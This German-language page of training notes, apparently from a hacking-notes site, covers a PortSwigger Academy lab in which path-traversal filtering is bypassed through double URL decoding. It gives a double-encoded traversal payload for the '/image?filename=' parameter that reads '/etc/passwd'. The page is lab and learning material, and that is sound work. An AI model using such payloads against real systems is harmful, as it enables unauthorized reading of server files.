> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/path-traversal/bypass-by-double-url-decoding.md).

# Umgehung durch doppelte URL-Dekodierung

Notizen zur Umgehung durch doppelte URL-Dekodierung für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Dateipfad-Traversal, Traversalsequenzen durch überflüssiges URL-Decoding entfernt

Dieses Lab demonstriert eine Pfad-Traversal-Schwachstelle beim Anzeigen der erzeugten Bilder. / Die Anwendung blockiert die Traversalsequenzen im vom Benutzer angegebenen Dateinamen und führt dann vor der Verwendung dieses Werts ein zusätzliches URL-Decoding durch.

Das Ziel ist es, den Inhalt der `/etc/passwd` Datei vorhanden sind.

Die folgende Standard-Payload funktioniert nicht:

```bash
../../../../../etc/paswd
```

Um diesen Filter zu umgehen, besteht eine Technik darin, **die URL zweimal zu kodieren** und sie in den `Dateinamen` Parameter des `/image` Endpunkt zu senden:

{% code overflow="wrap" %}

```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6cdf840560411ae95084edf19cfc034d579480b%2Fimage%20(253).png?alt=media" alt=""><figcaption></figcaption></figure>


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